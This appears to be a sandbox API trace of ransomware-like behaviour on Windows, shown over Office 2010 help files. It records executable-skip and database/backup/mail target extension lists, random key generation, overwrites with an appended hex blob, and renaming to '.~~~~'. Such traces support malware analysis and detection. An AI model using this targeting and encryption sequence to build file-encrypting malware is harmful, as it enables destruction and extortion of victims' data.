	[0136.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0136.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc5d8
	[0136.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0136.954] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.955] GetLastError () returned 0x0
	[0136.955] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.955] GetLastError () returned 0x0
	[0136.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffd84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.957] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x27c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x27c, lpOverlapped=0x0) returned 1
	[0136.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.957] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.957] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.957] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.957] CloseHandle (hObject=0x138) returned 1
	[0136.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce230
	[0136.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.~~~~")) returned 1
	[0136.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0136.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.960] GetLastError () returned 0x0
	[0136.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".scr") returned 0x0
	[0136.960] lstrlenW (lpString=".cmd") returned 4
	[0136.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".cmd") returned 0x0
	[0136.960] lstrlenW (lpString=".dll") returned 4
	[0136.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dll") returned 0x0
	[0136.961] lstrlenW (lpString=".bat") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".bat") returned 0x0
	[0136.961] lstrlenW (lpString=".cpl") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".cpl") returned 0x0
	[0136.961] lstrlenW (lpString=".sys") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".sys") returned 0x0
	[0136.961] lstrlenW (lpString=".msc") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".msc") returned 0x0
	[0136.961] lstrlenW (lpString=".com") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".com") returned 0x0
	[0136.961] lstrlenW (lpString=".lnk") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".lnk") returned 0x0
	[0136.961] lstrlenW (lpString=".msp") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".msp") returned 0x0
	[0136.961] lstrlenW (lpString=".pif") returned 4
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".pif") returned 0x0
	[0136.961] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0136.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0136.963] lstrlenW (lpString=".sqb") returned 4
	[0136.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".sqb") returned 0x0
	[0136.963] lstrlenW (lpString=".ost") returned 4
	[0136.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".ost") returned 0x0
	[0136.963] lstrlenW (lpString=".txt") returned 4
	[0136.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".txt") returned 0x0
	[0136.963] lstrlenW (lpString=".mdt") returned 4
	[0136.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".mdt") returned 0x0
	[0136.963] lstrlenW (lpString=".BDB") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".BDB") returned 0x0
	[0136.964] lstrlenW (lpString=".eql") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".eql") returned 0x0
	[0136.964] lstrlenW (lpString=".DBF") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DBF") returned 0x0
	[0136.964] lstrlenW (lpString=".EQL") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".EQL") returned 0x0
	[0136.964] lstrlenW (lpString=".FDB") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".FDB") returned 0x0
	[0136.964] lstrlenW (lpString=".EDB") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".EDB") returned 0x0
	[0136.964] lstrlenW (lpString=".DACPAC") returned 7
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0136.964] lstrlenW (lpString=".VHD") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".VHD") returned 0x0
	[0136.964] lstrlenW (lpString=".DBV") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DBV") returned 0x0
	[0136.964] lstrlenW (lpString=".dacpac") returned 7
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0136.964] lstrlenW (lpString=".sdf") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".sdf") returned 0x0
	[0136.964] lstrlenW (lpString=".accdb") returned 6
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".accdb") returned 0x0
	[0136.964] lstrlenW (lpString=".DBX") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DBX") returned 0x0
	[0136.964] lstrlenW (lpString=".MDT") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".MDT") returned 0x0
	[0136.964] lstrlenW (lpString=".SQB") returned 4
	[0136.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".SQB") returned 0x0
	[0136.965] lstrlenW (lpString=".vhd") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".vhd") returned 0x0
	[0136.965] lstrlenW (lpString=".bac") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".bac") returned 0x0
	[0136.965] lstrlenW (lpString=".mdf") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".mdf") returned 0x0
	[0136.965] lstrlenW (lpString=".BAK") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".BAK") returned 0x0
	[0136.965] lstrlenW (lpString=".BAC") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".BAC") returned 0x0
	[0136.965] lstrlenW (lpString=".dbs") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dbs") returned 0x0
	[0136.965] lstrlenW (lpString=".vhdx") returned 5
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0136.965] lstrlenW (lpString=".NDF") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".NDF") returned 0x0
	[0136.965] lstrlenW (lpString=".dat") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dat") returned 0x0
	[0136.965] lstrlenW (lpString=".DBS") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DBS") returned 0x0
	[0136.965] lstrlenW (lpString=".CKP") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".CKP") returned 0x0
	[0136.965] lstrlenW (lpString=".edb") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".edb") returned 0x0
	[0136.965] lstrlenW (lpString=".PST") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".PST") returned 0x0
	[0136.965] lstrlenW (lpString=".dbf") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dbf") returned 0x0
	[0136.965] lstrlenW (lpString=".SQL") returned 4
	[0136.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".SQL") returned 0x0
	[0136.966] lstrlenW (lpString=".pst") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".pst") returned 0x0
	[0136.966] lstrlenW (lpString=".dbv") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dbv") returned 0x0
	[0136.966] lstrlenW (lpString=".SDF") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".SDF") returned 0x0
	[0136.966] lstrlenW (lpString=".dtxs") returned 5
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0136.966] lstrlenW (lpString=".db3") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".db3") returned 0x0
	[0136.966] lstrlenW (lpString=".OST") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".OST") returned 0x0
	[0136.966] lstrlenW (lpString=".dbx") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dbx") returned 0x0
	[0136.966] lstrlenW (lpString=".DB3") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DB3") returned 0x0
	[0136.966] lstrlenW (lpString=".DAT") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DAT") returned 0x0
	[0136.966] lstrlenW (lpString=".VHDX") returned 5
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0136.966] lstrlenW (lpString=".ndf") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".ndf") returned 0x0
	[0136.966] lstrlenW (lpString=".DB") returned 3
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DB") returned 0x0
	[0136.966] lstrlenW (lpString=".sql") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".sql") returned 0x0
	[0136.966] lstrlenW (lpString=".MYD") returned 4
	[0136.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".MYD") returned 0x0
	[0136.967] lstrlenW (lpString=".DBT") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DBT") returned 0x0
	[0136.967] lstrlenW (lpString=".ACCDB") returned 6
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0136.967] lstrlenW (lpString=".fdb") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".fdb") returned 0x0
	[0136.967] lstrlenW (lpString=".bak") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".bak") returned 0x0
	[0136.967] lstrlenW (lpString=".myd") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".myd") returned 0x0
	[0136.967] lstrlenW (lpString=".DTXS") returned 5
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0136.967] lstrlenW (lpString=".ckp") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".ckp") returned 0x0
	[0136.967] lstrlenW (lpString=".dbt") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".dbt") returned 0x0
	[0136.967] lstrlenW (lpString=".db") returned 3
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".db") returned 0x0
	[0136.967] lstrlenW (lpString=".TXT") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".TXT") returned 0x0
	[0136.967] lstrlenW (lpString=".MDF") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".MDF") returned 0x0
	[0136.967] lstrlenW (lpString=".bdb") returned 4
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".bdb") returned 0x0
	[0136.967] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0136.968] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394f48) returned 1
	[0136.968] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0136.969] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.969] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25695892417) returned 1
	[0136.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb1508f0, dwHighDateTime=0x1d60e1e)) 
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4ba0
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4ba0 | out: hHeap=0x300000) returned 1
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0136.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0136.970] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.970] GetLastError () returned 0x0
	[0136.970] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.970] GetLastError () returned 0x0
	[0136.971] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.971] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xd0, lpOverlapped=0x0) returned 1
	[0136.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.972] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.972] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.972] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.972] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.972] CloseHandle (hObject=0x138) returned 1
	[0136.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce230
	[0136.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.~~~~")) returned 1
	[0136.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0136.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.975] GetLastError () returned 0x0
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0136.975] lstrlenW (lpString=".cmd") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0136.975] lstrlenW (lpString=".dll") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0136.975] lstrlenW (lpString=".bat") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0136.975] lstrlenW (lpString=".cpl") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0136.975] lstrlenW (lpString=".sys") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0136.975] lstrlenW (lpString=".msc") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0136.975] lstrlenW (lpString=".com") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".com") returned 0x0
	[0136.975] lstrlenW (lpString=".lnk") returned 4
	[0136.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0136.975] lstrlenW (lpString=".msp") returned 4
	[0136.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0136.976] lstrlenW (lpString=".pif") returned 4
	[0136.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0136.976] lstrlenW (lpString="msp\r\n.pif") returned 9
